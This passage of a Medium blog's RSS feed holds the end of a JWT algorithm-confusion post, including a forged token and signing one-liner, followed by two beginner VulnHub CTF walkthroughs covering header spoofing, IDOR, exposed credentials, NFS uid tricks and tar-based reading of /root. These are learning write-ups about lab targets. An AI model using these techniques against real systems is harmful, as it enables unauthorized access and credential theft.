hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a</em></p><p>This will result in a HMAC signature output:</p><p><em>db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f</em></p><p>Once we encode this in base64 with a python one-liner:</p><p><em>python -c “exec(\”import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex(‘db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f’)).replace(‘=’,’’)\”)”</em></p><p>We get a signature we can append to our previously modified JWT that we can pass to the consumer and it should be accepted (Taking note of the token expiry epoch!)</p><p><em>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU5MjA0Mzg3MywiZXhwIjoxNTkyOTk5OTk5LCJkYXRhIjp7ImJhcnJ5IjoiY29vbCJ9fQ.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8</em></p><p>Massive shout out to Sjoerd Langkemper, I would not understand this without his explanation / demo, really awesome I would recommend checking it out.</p><p>JWT architecture is used by some of the Internets biggest companies, when implemented correctly it provides some awesome functionality — but developers definitely need to consider the implications of whatever jwt lib they are using.</p><h4>Resources/ Notes:</h4><p>I would not understand this without reading/watching the below resources, so all credit to those listed below:</p><p><a href="https://jwt.io/">JWT.io</a></p><p><a href="https://tryhackme.com/">TryHackMe.com</a></p><p><a href="https://www.youtube.com/watch?v=7Q17ubqLfaM">WebDev Simplified</a></p><p><a href="https://www.youtube.com/watch?v=dq39w4MiZzs">Yonlabs @ Devoxx</a></p><p><a href="https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/">NCC — Jerome Smith</a> / Sjoerd Langkemper</p><p><a href="http://demo.sjoerdlangkemper.nl/">demo.sjoerdlangkemper.nl</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a44f8f6efff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnHub: Me and My Girlfriend Walkthrough]]></title>
            <link>https://barrymalone.medium.com/vulnhub-me-and-my-girlfriend-walkthrough-2552bb8ddf81?source=rss-1ad0ba38f58e------2</link>
            <guid isPermaLink="false">https://medium.com/p/2552bb8ddf81</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Barry Malone]]></dc:creator>
            <pubDate>Wed, 15 Jan 2020 21:42:06 GMT</pubDate>
            <atom:updated>2021-04-07T14:33:07.625Z</atom:updated>
            <content:encoded><![CDATA[<p>MaMGF is a beginner level vm by <a href="https://www.vulnhub.com/author/tw1c3,664/">TW1C3</a>, with a small storyline:</p><p>“ Description: This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice worked at a private company, “Ceban Corp”, something has changed from Alice’s attitude towards Bob like something is “hidden”, And Bob asks for your help to get what Alice is hiding and get full access to the company!”</p><p>Notes: there are 2 flag files</p><p>Learning: Web Application | Simple Privilege Escalation</p><p><strong>Step 1:</strong> Enumeration</p><p>Kicking off a broad nmap scan, we can see there are not a tonne of ports open on this box, just 22 and 80:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*yx40yUxSbZgNQJw9sLAYtA.png" /></figure><p>A quick telnet to port 22 does not reveal any banner info (worth a check :p)</p><p>Taking a look on port 80, we don’t get much bar a snarky message (I also checked /robots.txt but there was only another message “do more recon” etc) :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*4oBnE8pC7OQf3B4rCSvPoA.png" /></figure><p>BUT.. checking the source of the index page we get a wee bit of info:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*yDnp4lgujIArnHn8FyQbrQ.png" /></figure><p>Quick Google to refresh my memory brings us to a nice <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For">article</a> on what the header param is used for.</p><p>So what we can do is, capture and amend the requests to our target and chuck in the “X-Forwarded-For: 127.0.0.1&quot; param to spoof the client/originating ip, I fired up Burp and amended the request to the index page like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*FOKuUcEzMVzAcY86zRX25w.png" /></figure><p>Now we can view the index page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*lHSF-MF4gr4mrynrusyypg.png" /></figure><p>So we can see we have a couple of different options, after checking each page out, there was nothing of interest bar the register/login pages.</p><p>I checked out the functions of these pages, and ended up going down a bit of a rabbit hole because I thought I had found an LFI vulnerability, but that was not the case (wasted about 2 hours trying various types of LFI, maybe sub wasted for “practiced”)</p><p>Now.. Taking a look at the register page, it take some basic info so I create an account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*ktZ1okSJepx_Vl204X2avA.png" /></figure><p>Sweet — Registered, now after logging in and flicking around it appears we have a Dashboard and a Profile page where we can edit/amend profile attributes.</p><p>One thing that immediately catches my eye is the format of the url upon login:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*T1-ezLrp36e6FzhPfuD2NQ.png" /></figure><p>After testing out a couple of sql injection options, I came to the conclusion sqli was not to be here (still in pain from LFI trauma earlier so moved on quickly!)</p><p>I did find somewhat of an IDOR vuln, what we can do is change the id in the url and view another users profile/settings (you see where this is going I hope).</p><p>After I increment through each user id value I get to.. Alice!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*69msa9pzGVh8YReGqPS7qw.png" /></figure><p>We cant change her pass unfortunately, but checking the source of the page we can see the password is not hidden :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*F1qt4iM7KbV65F_iZV1kGQ.png" /></figure><p>Excellent, now from our previous nmap scan we know port 22 is open, so testing if we can ssh as Alice is a success:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*ZB7Ea6uTm87frPVIzKOMrg.png" /></figure><p>One foot in…</p><p>After running ls -la (I am now pre-conditioned to run ls with the -la switch!!) we can see an interesting file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*02BVJQRlj6z3KKfeYVjTNQ.png" /></figure><p>Cat.. boom first flag! not to bad:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*iclILj9_IZUDOw9qWKjZIQ.png" /></figure><p>Now, lets get root!</p><p>Taking a poke around for incorrectly perms on binaries, we can see that Alice has access to run /usr/bin/php as root with no pass, this should be easy!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*LkL9KHmUdR3392Q_ZP5DVA.png" /></figure><p>Welp..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*RArth0y3_XIHh9ur" /></figure><p>I tried to execute many privilege escalation and shell spawning options, but anytime I tried to run a binary, I was cut off with the “Alice does not have permission to run this /usr/bin/BLAH”</p><p>This took me an hour and a bit of trying various methods, and feeling a bit discouraged (because I was sure there was a way to exploit the php bin &amp; perms)</p><p>I took another look around, and while browsing the dirs that the php web app is hosted in I checked out process.php (used to register accounts).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*5hTeKqE1aDNXC5bTCmzlHA.png" /></figure><p>hmm it is using this config file.. lets take a look..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*Q_OjA9dLzt1Xgr2c0qeshw.png" /></figure><p>Uhhh.. Yay! lets see if those creds apply to the root account on the box..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*QivMCCWmMe5a-5LN21HOOA.png" /></figure><p>Who would have thunk it.. creds hard coded into config files.. shaaa go figure..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/196/0*l9vgM9S32Pjj3EPY.gif" /></figure><p>After taking a look around, and browsing to the /root dir we see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*IFfJgnhfopXPhE4oxNHigA.png" /></figure><p>FLAG 2!!!1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*uuLAoSS96fitKfKu4zGdJQ.png" /></figure><p>Done! :)</p><p><strong>Conclusion:</strong></p><p>Although this box was technically pretty easy, it did throw me off a bit with methodology, having a brain hard-wired to do the quickest and most impulsive thing leads to being dragged down rabbit-holes (I am working on this!)</p><p>What I have learned:</p><ol><li>Even if it looks like there is an obvious method of exploitation, enumerate more!</li><li>PHP is the devil, but really powerful and I should read up to better understand it!</li></ol><p>If you are here — thank you for taking the time to read this rambling!</p><p>Cheers,</p><p>Barry</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2552bb8ddf81" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnHub: Connect The Dots Walkthrough]]></title>
            <link>https://barrymalone.medium.com/vulnhub-connect-the-dots-walkthrough-ba4566674ba?source=rss-1ad0ba38f58e------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba4566674ba</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Barry Malone]]></dc:creator>
            <pubDate>Sun, 24 Nov 2019 16:12:57 GMT</pubDate>
            <atom:updated>2021-04-07T14:34:39.817Z</atom:updated>
            <content:encoded><![CDATA[<p>Connect the Dots is a beginner to intermediate level VM created by Sumit Verma and can be found <a href="https://www.vulnhub.com/entry/connect-the-dots-1,384/"><em>here</em></a></p><p><strong>Objective:</strong> get /home/user.txt and /root/root.txt</p><p>It has been a while since I have done any CTF/WriteUp’s so I may be a bit rusty! be gentle! :)</p><p><strong>Step 1:</strong> <em>Enumeration</em></p><p>As we all know, there is only one way to begin, a nice verbose nmap scan of the host:</p><blockquote>nmap -O -A -sT -sV -p- -T4 192.168.56.105 -vv</blockquote><p>This gives us some nice info</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZfO_PJKWIm3jV_CsbNJIbA.png" /></figure><p>We look to have a website hosted on port 80, an ftp service running on 21, rpcbind service running on 111, and most interesting are the nfs service and ssh service running on 2049 and 7822 respectively.</p><p>First lets check out the website being hosted on the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*L8yi0CBZCiSwglJkSwQyYw.png" /></figure><p>Okay subtle hints in there pointing to possible username ideas etc, a mention to backups but nothing interesting in the source code of the index, I also downloaded both images for safe keeping as they jump out at me and might point to some steg stuff!</p><p>Next, I fired up Nikto and Wfuzz to see if they could bring back anything juicy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*1znmATT9vWyKo3qAb6pLjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*BaqQGsbJ4h6pmZzdhKAXIw.png" /></figure><p>interesting directories:</p><p><strong>/hits.txt </strong>— is interesting at first, but then it turns out it is just a nice motivational message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*RM__zSBZawCPNsvZcCaOTg.png" /></figure><p><strong>/images/</strong> — Does not hold anything interesting bar the images hosted on the index.</p><p><strong>/javascript/</strong> — Dir exists but we get a 403 on it</p><p><strong>/backups/ </strong>— ohh what do we have here…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*Q1rtgFXEsc9gcM1zS9y5fA.png" /></figure><p>trolled again..</p><p><strong>/manual/ and /icons/ — </strong>Default apache manual and icons readme, nothing interesting</p><p>Nikto has pointed out there is both an index.html and index.htm, on the surface they do not look any different, but checking the source of the index.htm file I see some comments:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*HZ5RdBYfkqcbRI4PchVu-g.png" /></figure><p>lets take a look at that register form and make a note of the second comment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*BjyOgtX0uixS1CEoy_W__g.png" /></figure><p>Cool, a registration form.. testing out a number of parameters and checking the source it looks like this form does not really function!</p><p>Checking out the <strong>/mysite/ </strong>directory it only looks to hold some bootstrap styling files for the site, nothing really interesting (for now…..)</p><p>After going over the site again a couple of times, I moved on to the services we seen earlier.</p><p><strong>21:</strong> vsftpd, telnet reveals a not so informative banner</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*yammvh0MvTABVdvja0uEaw.png" /></figure><p>Tried a couple of random logins here God, doG, Jesus etc.. nada.</p><p><strong>7822:</strong> OpenSSH_7.9p1, no interesting banner</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*c9j61bidHzcSc_psNfiu3w.png" /></figure><p><strong>2049:</strong> NFS, there looks to be an nfs share configured here :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*27AmAS4Mu4YYyAmIMaIehw.png" /></figure><p><strong>Step 2:</strong> <em>Getting one foot in</em></p><p>Sweet, once the nfs share mounted we cant access anything.. we can only see the uid of the file owners but not the username</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*2dUIvnO0iHaKwzE--hXUaw.png" /></figure><p>Knowing linux, uid 1000 is normally the uid of the first new user created on the system, so we go ahead and create a user with that id to see if we can access anything …bingo!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*EPOOIwF1am4hn8xWASkVPQ.png" /></figure><p>After snooping around in the folders, there is nothing of value bar an ssh private key in the .ssh folder, trying to ssh as morris@192.168.56.105 with the key, it still prompts me for a password.. after a couple of James bond reference guesses.. still no dice.</p><p>Looking over at the ftp service now.. having a look around for vsftpd vulnerabilities, I find there is a <a href="https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor">backdoor</a> for a newer version, but trying this it tells me ‘The service is running with anonymous login enabled’ so the exploit fails..</p><p>I try a bunch of different creds to get in, but still nothing.. I remember what is on the index page (about M and N) and try to log in with the username norris and password sorrin.. still not able.. but a different message confirms that there is a user with the username norris:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*fK_YbA0MJe5XXN9Vjl1ETg.png" /></figure><p>At this point, I am feeling a bit frustrated like I am missing something simple.. but I continue and take a look for info hidden in the images I downloaded earlier.</p><p>Running strings on the the game.jpg image doesn’t reveal anything (the other image is a gif and cant be used for steg), but then kicking off stegahide, I get prompted for a pass!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*PHaCTbX4lV9qmkbmG8x-Mw.png" /></figure><p>After another countless number of guesses, I finally relent and try crack the image pass with <a href="https://github.com/Paradoxis/StegCracker">Stegcracker</a> and the rockyou password list (last act of a desperate man)</p><p>While that is running, I pour back over the NFS stuff and frantically google a million different ways to exploit NFS.. but I cant find anything that can help me out in this instance.</p><p>I fire up DirBuster (to the detriment of my vm) and try smash back over the website to see if I am missing anything.. no new dirs found! WHAT AM I MISSING!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/271/0*BMf5nIqGPuoB7WU5.jpg" /></figure><p>I have a word with my inner enumeration demon and tell him we need to go over everything on the website.. after an hour or so I get back to the <strong>/mysite/ </strong>directory<strong> (the one from earlier with all the bootstrap styling stuff in it)</strong>.</p><p>Going through each of the files I find something strange in the <strong>bootstrap.min.cs </strong>file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*ksQ2_Rs7JrIFeDGjMy7_bA.png" /></figure><p>I have not seen this before, definitely looks like some sort of encoding!</p><p>Looking at the browser console, it never actually compiles or executes, and after 15–20 mins of googling I see it turns out to be <a href="http://www.jsfuck.com/">JSFuck</a>, a strain of javascript written only using six different characters.. oh boy! This makes me feel good :)</p><p>After eventually decoding the string we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*l4e1W0EtaB4LUFP4SlOUwg.png" /></figure><p>Awesome! this spurred me on, now we SSH to the vm as norris with this password and we have one foot into the host!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*q0dZdwT4WW3jvPZqGA4O7A.png" /></figure><p>Boom — as soon as we are in, checking in the home dir we can see the user flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*DEnCymHMBMvE0cW1RSXEVw.png" /></figure><p><strong>Step 3: </strong><em>Getting The Root Flag</em></p><p>There are some other interesting files in <strong>/home/norris/ftp/files</strong></p><p>At this point I went off on a tangent trying to get root in many number different ways, for about 3- 4 hours I was reading into different SUID binary exploits, again NFS exploits and further apache exploits.</p><p>A similar thing happened as in the beginning of this challenge, I stopped for a couple minutes and said “there is something I am missing” and thought there is something right in front of me that I am not using.. So I went back over everything, including running a number of different exploit suggester scripts on the host that flagged up false positives.. (sigh..)</p><p>I went back to the files in<strong> /home/norris/ftp/files </strong>copied them all down to my kali host and started to analyze them one by one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*J0TS-qhEdw8ZegAyBQuVvQ.png" /></figure><p><strong>backups.bak</strong> — revealed nothing of interest</p><p><strong>hits.txt.bak </strong>— pointed to a pastebin link with the salty motivational message :/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*0QkdA5Nir_kueG-3YW9cbQ.png" /></figure><p><strong>m.gif.bak</strong> — did not reveal anything</p><p><strong>game.jpg.bak</strong> — Running the strings command on this file revealed something interesting indeed..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*FZN93pC057DTXiAZEDKbZw.png" /></figure><p>dots and dashes can only mean one thing! MORSE CODE! :) I was happy with myself for recognizing this right off!</p><p>Then we decode it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*JVi8li-MpgThLLO-gkC-VQ.png" /></figure><p>Awesome.. no root flag but it is still a clue.. “In a secret place which is publicly accessible” I took this as referring to some directory in the <strong>/var/www/</strong> folder and took a look:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*1Rwiblmrv_Gn_bFaxsq1dw.png" /></figure><p>There we go — The secret file does not actually read much..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*LC5f3yaaMgNwAu-ZL99cWw.png" /></figure><p>Bummer.. but then we take a look at the .secretfile.swp and get a permission denied error… :(</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*sOLBs6MPfKRkPQZ4jnlevA.png" /></figure><p>I scrambled around for about 30 minutes before figuring everything in this directory is actually served up by the website… duh..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*rWb5PlKJ2hT8GbWcbXWqtw.png" /></figure><p>YESSss… I downloaded the swp file and ran the strings command on it — and we got a pass for the morris account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*1DeKkER4aN9cCXYESCEw_A.png" /></figure><p>Awesome — at this point, I felt I was so close to this vm so I did not want to stop!</p><p>After logging in with the morris account — it looks like the account is not root and does not have sudo access or anything neat.. this section was the most frustrating part..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*iHkGLsCBMQcNz47M.jpg" /></figure><p>I read so many articles on privilege escalation, tried so many kernel/SUID exploits that the words lost all meaning.. it was educational but I felt like I was never going to get this challenge done.. queue my last gasps googling phrases like “stealing root directory remotely”, “what programs can access root directory”.. and then I came across an IOS article/book preview related to stealing live filesystem data.. with tar.. (line 4)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*51ex9CnHLjvn61uF25jdyw.png" /></figure><p>I thought “if this works.. it will be amazing!! :DD “.. I tried to tar the /root directory with the morris account.. and got a permission denied error (I cried a bit inside at this point)</p><p>Then I tried the same commands with the initial norris account I had…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*6hZCY-TUajIrMbrAh_nzEw.png" /></figure><p>SWEET BLACKHAT JESUS.. IT WORKED! I was ecstatic at this point.. but did not want to get ahead of myself.. as there were so many rabbit holes in this vm..</p><p>But after the archive was created, we could extract it in norris home directory.. and get the ROOT flag!!!1!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*MXoM9iCcnz5lrLCxYrg0YA.png" /></figure><p>This challenge was pretty good.. although I wanted to bang my head against the wall at every turn.. it defintely was worth the dopamine release after it was completed!</p><p>My 4 Takeaways from this challenge:</p><ul><li><a href="https://411hall.github.io/assets/files/CTF_template.ctb">This CherryTree</a> template is a must have for note taking</li><li>Check Everything in front of you, every single small file or folder.. check it! then check it again!!</li><li>Set time limits on how long you want to go down a rabbit hole for, multiple times I was spending an hour or so on trivial non-related stuff when I could have stood back for a minute and re-evaluated after a certain period</li><li>ENUMERATE MORE, AND MORE AND MORE, AND TRY HARDER! :)</li></ul><p>Cheers for reading,</p><p>Barry</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba4566674ba" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>